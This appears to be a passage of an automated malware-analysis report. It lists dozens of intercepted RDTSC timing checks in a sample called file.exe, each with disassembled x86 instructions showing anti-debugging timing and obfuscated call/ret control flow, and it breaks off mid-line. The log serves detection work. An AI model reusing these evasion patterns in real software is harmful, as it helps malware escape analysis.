Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6AE544 second address: 6AE54A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6AE54A second address: 6AE54E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6AE663 second address: 6AE669 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6AE669 second address: 6AE66D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6AE72F second address: 6AE73A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jc 00007F9DB0FF9A36h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6AE9B9 second address: 6AE9EF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9DB10DC5C3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c js 00007F9DB10DC5CCh 0x00000012 jmp 00007F9DB10DC5C6h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6AEE3A second address: 6AEE3E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6AEE3E second address: 6AEE42 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6AEE42 second address: 6AEE48 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6AEEB5 second address: 6AEEFE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push eax 0x00000006 jmp 00007F9DB10DC5C5h 0x0000000b xchg eax, ebx 0x0000000c push 00000000h 0x0000000e push eax 0x0000000f call 00007F9DB10DC5B8h 0x00000014 pop eax 0x00000015 mov dword ptr [esp+04h], eax 0x00000019 add dword ptr [esp+04h], 00000014h 0x00000021 inc eax 0x00000022 push eax 0x00000023 ret 0x00000024 pop eax 0x00000025 ret 0x00000026 mov esi, dword ptr [ebp+122D33AEh] 0x0000002c push eax 0x0000002d jp 00007F9DB10DC5C8h 0x00000033 push eax 0x00000034 push edx 0x00000035 push eax 0x00000036 push edx 0x00000037 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6AEEFE second address: 6AEF02 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6AEF02 second address: 6AEF06 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6AF22D second address: 6AF232 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6AF469 second address: 6AF495 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push eax 0x00000006 ja 00007F9DB10DC5C0h 0x0000000c jmp 00007F9DB10DC5BAh 0x00000011 nop 0x00000012 mov edi, dword ptr [ebp+122D3BDDh] 0x00000018 push eax 0x00000019 push eax 0x0000001a push edx 0x0000001b jo 00007F9DB10DC5BCh 0x00000021 jns 00007F9DB10DC5B6h 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6AF9C7 second address: 6AFA16 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F9DB0FF9A4Ch 0x00000008 jmp 00007F9DB0FF9A46h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f mov dword ptr [esp], eax 0x00000012 mov esi, dword ptr [ebp+122D3A79h] 0x00000018 push 00000000h 0x0000001a push 00000000h 0x0000001c sbb edi, 45A55DD0h 0x00000022 xchg eax, ebx 0x00000023 push eax 0x00000024 push edx 0x00000025 jmp 00007F9DB0FF9A49h 0x0000002a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6B13B5 second address: 6B1422 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007F9DB10DC5B6h 0x0000000a popad 0x0000000b pop edi 0x0000000c mov dword ptr [esp], eax 0x0000000f mov dword ptr [ebp+122D384Bh], ecx 0x00000015 sub esi, dword ptr [ebp+122D339Fh] 0x0000001b push 00000000h 0x0000001d push 00000000h 0x0000001f push edx 0x00000020 call 00007F9DB10DC5B8h 0x00000025 pop edx 0x00000026 mov dword ptr [esp+04h], edx 0x0000002a add dword ptr [esp+04h], 00000016h 0x00000032 inc edx 0x00000033 push edx 0x00000034 ret 0x00000035 pop edx 0x00000036 ret 0x00000037 mov edi, 1D202FD7h 0x0000003c push 00000000h 0x0000003e push 00000000h 0x00000040 push edx 0x00000041 call 00007F9DB10DC5B8h 0x00000046 pop edx 0x00000047 mov dword ptr [esp+04h], edx 0x0000004b add dword ptr [esp+04h], 0000001Dh 0x00000053 inc edx 0x00000054 push edx 0x00000055 ret 0x00000056 pop edx 0x00000057 ret 0x00000058 xchg eax, ebx 0x00000059 pushad 0x0000005a push eax 0x0000005b push edx 0x0000005c push esi 0x0000005d pop esi 0x0000005e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6B1F0D second address: 6B1F11 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6B1F11 second address: 6B1F17 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6B2677 second address: 6B267B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6B3449 second address: 6B34D0 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F9DB10DC5B6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b nop 0x0000000c push 00000000h 0x0000000e push ecx 0x0000000f call 00007F9DB10DC5B8h 0x00000014 pop ecx 0x00000015 mov dword ptr [esp+04h], ecx 0x00000019 add dword ptr [esp+04h], 00000019h 0x00000021 inc ecx 0x00000022 push ecx 0x00000023 ret 0x00000024 pop ecx 0x00000025 ret 0x00000026 mov edi, 107126C1h 0x0000002b jmp 00007F9DB10DC5C4h 0x00000030 push 00000000h 0x00000032 mov dword ptr [ebp+122D3180h], edi 0x00000038 push 00000000h 0x0000003a mov edi, dword ptr [ebp+122D3BB1h] 0x00000040 xchg eax, ebx 0x00000041 jnp 00007F9DB10DC5BEh 0x00000047 push eax 0x00000048 pushad 0x00000049 jmp 00007F9DB10DC5C8h 0x0000004e jbe 00007F9DB10DC5BCh 0x00000054 push eax 0x00000055 push edx 0x00000056 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6B3E66 second address: 6B3EB2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F9DB0FF9A3Fh 0x00000009 popad 0x0000000a pushad 0x0000000b jmp 00007F9DB0FF9A48h 0x00000010 jl 00007F9DB0FF9A36h 0x00000016 popad 0x00000017 popad 0x00000018 push eax 0x00000019 pushad 0x0000001a push esi 0x0000001b jmp 00007F9DB0FF9A3Fh 0x00000020 pop esi 0x00000021 push eax 0x00000022 push edx 0x00000023 push esi 0x00000024 pop esi 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6B3EB2 second address: 6B3EB6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6B5DF6 second address: 6B5E10 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9DB0FF9A3Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edi 0x0000000b pushad 0x0000000c pushad 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6B62F9 second address: 6B62FD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6B62FD second address: 6B6306 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edi 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6B6306 second address: 6B6370 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 popad 0x00000006 mov dword ptr [esp], eax 0x00000009 push ecx 0x0000000a js 00007F9DB10DC5BCh 0x00000010 mov edi, dword ptr [ebp+122D3A65h] 0x00000016 pop ebx 0x00000017 push 00000000h 0x00000019 or dword ptr [ebp+1248CAC7h], ecx 0x0000001f push 00000000h 0x00000021 push 00000000h 0x00000023 push edx 0x00000024 call 00007F9DB10DC5B8h 0x00000029 pop edx 0x0000002a mov dword ptr [esp+04h], edx 0x0000002e add dword ptr [esp+04h], 0000001Bh 0x00000036 inc edx 0x00000037 push edx 0x00000038 ret 0x00000039 pop edx 0x0000003a ret 0x0000003b jc 00007F9DB10DC5BCh 0x00000041 xor ebx, 24A37664h 0x00000047 mov dword ptr [ebp+122D2A2Ch], eax 0x0000004d xchg eax, esi 0x0000004e pushad 0x0000004f pushad 0x00000050 jnp 00007F9DB10DC5B6h 0x00000056 je 00007F9DB10DC5B6h 0x0000005c popad 0x0000005d push eax 0x0000005e push edx 0x0000005f pushad 0x00000060 popad 0x00000061 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6B73B6 second address: 6B7435 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pushad 0x00000004 popad 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 nop 0x00000009 push 00000000h 0x0000000b push eax 0x0000000c call 00007F9DB0FF9A38h 0x00000011 pop eax 0x00000012 mov dword ptr [esp+04h], eax 0x00000016 add dword ptr [esp+04h], 00000015h 0x0000001e inc eax 0x0000001f push eax 0x00000020 ret 0x00000021 pop eax 0x00000022 ret 0x00000023 stc 0x00000024 push 00000000h 0x00000026 jc 00007F9DB0FF9A3Ah 0x0000002c push 00000000h 0x0000002e push 00000000h 0x00000030 push ecx 0x00000031 call 00007F9DB0FF9A38h 0x00000036 pop ecx 0x00000037 mov dword ptr [esp+04h], ecx 0x0000003b add dword ptr [esp+04h], 0000001Ah 0x00000043 inc ecx 0x00000044 push ecx 0x00000045 ret 0x00000046 pop ecx 0x00000047 ret 0x00000048 xchg eax, esi 0x00000049 jg 00007F9DB0FF9A4Ch 0x0000004f push eax 0x00000050 push eax 0x00000051 push edx 0x00000052 jo 00007F9DB0FF9A3Ch 0x00000058 push eax 0x00000059 push edx 0x0000005a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6B7435 second address: 6B7439 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6B84AD second address: 6B84C3 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F9DB0FF9A36h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop ebx 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 jg 00007F9DB0FF9A36h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6B84C3 second address: 6B84C9 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6B84C9 second address: 6B853D instructions: 0x00000000 rdtsc 0x00000002 jng 00007F9DB0FF9A3Ch 0x00000008 jnp 00007F9DB0FF9A36h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 nop 0x00000011 push 00000000h 0x00000013 push ebp 0x00000014 call 00007F9DB0FF9A38h 0x00000019 pop ebp 0x0000001a mov dword ptr [esp+04h], ebp 0x0000001e add dword ptr [esp+04h], 00000018h 0x00000026 inc ebp 0x00000027 push ebp 0x00000028 ret 0x00000029 pop ebp 0x0000002a ret 0x0000002b add ebx, dword ptr [ebp+122D2A3Dh] 0x00000031 push 00000000h 0x00000033 push 00000000h 0x00000035 push edi 0x00000036 call 00007F9DB0FF9A38h 0x0000003b pop edi 0x0000003c mov dword ptr [esp+04h], edi 0x00000040 add dword ptr [esp+04h], 0000001Bh 0x00000048 inc edi 0x00000049 push edi 0x0000004a ret 0x0000004b pop edi 0x0000004c ret 0x0000004d jng 00007F9DB0FF9A3Ch 0x00000053 mov edi, dword ptr [ebp+122D277Dh] 0x00000059 push 00000000h 0x0000005b mov bx, cx 0x0000005e push eax 0x0000005f push eax 0x00000060 push edx 0x00000061 push edi 0x00000062 push edx 0x00000063 pop edx 0x00000064 pop edi 0x00000065 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6B92FD second address: 6B9301 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6BB520 second address: 6BB524 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6BB524 second address: 6BB587 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F9DB10DC5C6h 0x0000000b popad 0x0000000c push eax 0x0000000d jno 00007F9DB10DC5C0h 0x00000013 nop 0x00000014 add dword ptr [ebp+122D384Bh], esi 0x0000001a push 00000000h 0x0000001c jmp 00007F9DB10DC5C9h 0x00000021 push 00000000h 0x00000023 jl 00007F9DB10DC5BAh 0x00000029 mov bx, D1DFh 0x0000002d push eax 0x0000002e push eax 0x0000002f push edx 0x00000030 push eax 0x00000031 push edx 0x00000032 pushad 0x00000033 popad 0x00000034 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6BB587 second address: 6BB58B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6BB58B second address: 6BB591 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6B75EE second address: 6B75F2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6BD4DF second address: 6BD4E5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6BF452 second address: 6BF45E instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a push ebx 0x0000000b pop ebx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6BFA08 second address: 6BFA4C instructions: 0x00000000 rdtsc 0x00000002 jl 00007F9DB10DC5CAh 0x00000008 jmp 00007F9DB10DC5C4h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f nop 0x00000010 or bl, 00000040h 0x00000013 push 00000000h 0x00000015 pushad 0x00000016 mov edi, dword ptr [ebp+122D34EEh] 0x0000001c stc 0x0000001d popad 0x0000001e push 00000000h 0x00000020 mov dword ptr [ebp+122D1C1Ah], ecx 0x00000026 mov ebx, 1932E6CBh 0x0000002b push eax 0x0000002c pushad 0x0000002d push eax 0x0000002e push edx 0x0000002f ja 00007F9DB10DC5B6h 0x00000035 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6BFA4C second address: 6BFA50 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6BFA50 second address: 6BFA5E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jc 00007F9DB10DC5B6h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6BB72E second address: 6BB753 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9DB0FF9A46h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push ebx 0x0000000b pushad 0x0000000c jc 00007F9DB0FF9A36h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6BC72E second address: 6BC791 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pop ecx 0x00000008 mov dword ptr [esp], eax 0x0000000b mov di, cx 0x0000000e push dword ptr fs:[00000000h] 0x00000015 push 00000000h 0x00000017 push eax 0x00000018 call 00007F9DB10DC5B8h 0x0000001d pop eax 0x0000001e mov dword ptr [esp+04h], eax 0x00000022 add dword ptr [esp+04h], 0000001Ah 0x0000002a inc eax 0x0000002b push eax 0x0000002c ret 0x0000002d pop eax 0x0000002e ret 0x0000002f mov ebx, eax 0x00000031 mov dword ptr fs:[00000000h], esp 0x00000038 jp 00007F9DB10DC5BCh 0x0000003e xor ebx, 1EAE233Eh 0x00000044 mov eax, dword ptr [ebp+122D0761h] 0x0000004a mov edi, 633BDCF1h 0x0000004f push FFFFFFFFh 0x00000051 mov bx, dx 0x00000054 push eax 0x00000055 pushad 0x00000056 pushad 0x00000057 push eax 0x00000058 pop eax 0x00000059 push eax 0x0000005a push edx 0x0000005b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C3AA1 second address: 6C3AA5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C3AA5 second address: 6C3ABF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9DB10DC5C6h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C4ACD second address: 6C4AD7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jne 00007F9DB0FF9A36h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C4AD7 second address: 6C4B6D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9DB10DC5BAh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b nop 0x0000000c push 00000000h 0x0000000e push edx 0x0000000f call 00007F9DB10DC5B8h 0x00000014 pop edx 0x00000015 mov dword ptr [esp+04h], edx 0x00000019 add dword ptr [esp+04h], 0000001Ah 0x00000021 inc edx 0x00000022 push edx 0x00000023 ret 0x00000024 pop edx 0x00000025 ret 0x00000026 mov dword ptr [ebp+12468FCCh], esi 0x0000002c push 00000000h 0x0000002e push 00000000h 0x00000030 push edi 0x00000031 call 00007F9DB10DC5B8h 0x00000036 pop edi 0x00000037 mov dword ptr [esp+04h], edi 0x0000003b add dword ptr [esp+04h], 0000001Dh 0x00000043 inc edi 0x00000044 push edi 0x00000045 ret 0x00000046 pop edi 0x00000047 ret 0x00000048 push 00000000h 0x0000004a add bl, 0000005Fh 0x0000004d xchg eax, esi 0x0000004e jmp 00007F9DB10DC5C0h 0x00000053 push eax 0x00000054 pushad 0x00000055 jnp 00007F9DB10DC5CAh 0x0000005b push eax 0x0000005c push edx 0x0000005d push eax 0x0000005e push edx 0x0000005f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C4B6D second address: 6C4B71 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C0BB0 second address: 6C0BB4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C5B49 second address: 6C5B4F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6BFC59 second address: 6BFC5D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6BFC5D second address: 6BFC63 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C5B4F second address: 6C5BE8 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F9DB10DC5C4h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b pushad 0x0000000c jnp 00007F9DB10DC5CCh 0x00000012 jmp 00007F9DB10DC5C6h 0x00000017 push ebx 0x00000018 jmp 00007F9DB10DC5C0h 0x0000001d pop ebx 0x0000001e popad 0x0000001f nop 0x00000020 sbb ebx, 54D3C5FEh 0x00000026 mov dword ptr [ebp+122D28E2h], edx 0x0000002c push 00000000h 0x0000002e jmp 00007F9DB10DC5C2h 0x00000033 push 00000000h 0x00000035 push 00000000h 0x00000037 push edx 0x00000038 call 00007F9DB10DC5B8h 0x0000003d pop edx 0x0000003e mov dword ptr [esp+04h], edx 0x00000042 add dword ptr [esp+04h], 00000016h 0x0000004a inc edx 0x0000004b push edx 0x0000004c ret 0x0000004d pop edx 0x0000004e ret 0x0000004f push eax 0x00000050 push eax 0x00000051 push edx 0x00000052 jnl 00007F9DB10DC5BCh 0x00000058 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6BFC63 second address: 6BFC7E instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F9DB0FF9A38h 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d je 00007F9DB0FF9A4Fh 0x00000013 push eax 0x00000014 push edx 0x00000015 jnc 00007F9DB0FF9A36h 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C5BE8 second address: 6C5BEE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C5BEE second address: 6C5BF2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C4D2A second address: 6C4DDB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9DB10DC5C5h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c push 00000000h 0x0000000e push esi 0x0000000f call 00007F9DB10DC5B8h 0x00000014 pop esi 0x00000015 mov dword ptr [esp+04h], esi 0x00000019 add dword ptr [esp+04h], 00000017h 0x00000021 inc esi 0x00000022 push esi 0x00000023 ret 0x00000024 pop esi 0x00000025 ret 0x00000026 sbb bx, 0902h 0x0000002b push dword ptr fs:[00000000h] 0x00000032 and bl, FFFFFFFCh 0x00000035 mov dword ptr fs:[00000000h], esp 0x0000003c mov ebx, dword ptr [ebp+122D34E0h] 0x00000042 mov edi, esi 0x00000044 mov eax, dword ptr [ebp+122D109Dh] 0x0000004a mov ebx, edx 0x0000004c push FFFFFFFFh 0x0000004e push 00000000h 0x00000050 push edi 0x00000051 call 00007F9DB10DC5B8h 0x00000056 pop edi 0x00000057 mov dword ptr [esp+04h], edi 0x0000005b add dword ptr [esp+04h], 00000018h 0x00000063 inc edi 0x00000064 push edi 0x00000065 ret 0x00000066 pop edi 0x00000067 ret 0x00000068 jp 00007F9DB10DC5D0h 0x0000006e push eax 0x0000006f push eax 0x00000070 push edx 0x00000071 jmp 00007F9DB10DC5BBh 0x00000076 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C4DDB second address: 6C4DE1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C6C5A second address: 6C6C5F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C6C5F second address: 6C6C64 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C5D08 second address: 6C5D0D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C5D0D second address: 6C5D2F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9DB0FF9A45h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d push edi 0x0000000e pop edi 0x0000000f pushad 0x00000010 popad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C5D2F second address: 6C5D4B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F9DB10DC5C8h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C5D4B second address: 6C5D4F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C8B8E second address: 6C8BA3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9DB10DC5BDh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C8BA3 second address: 6C8BAD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007F9DB0FF9A36h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C6E5C second address: 6C6EDA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 popad 0x00000007 pop edi 0x00000008 mov dword ptr [esp], eax 0x0000000b mov edi, esi 0x0000000d push dword ptr fs:[00000000h] 0x00000014 push 00000000h 0x00000016 push ebx 0x00000017 call 00007F9DB10DC5B8h 0x0000001c pop ebx 0x0000001d mov dword ptr [esp+04h], ebx 0x00000021 add dword ptr [esp+04h], 00000016h 0x00000029 inc ebx 0x0000002a push ebx 0x0000002b ret 0x0000002c pop ebx 0x0000002d ret 0x0000002e stc 0x0000002f mov dword ptr fs:[00000000h], esp 0x00000036 movzx edi, bx 0x00000039 mov eax, dword ptr [ebp+122D10D1h] 0x0000003f push 00000000h 0x00000041 push ebx 0x00000042 call 00007F9DB10DC5B8h 0x00000047 pop 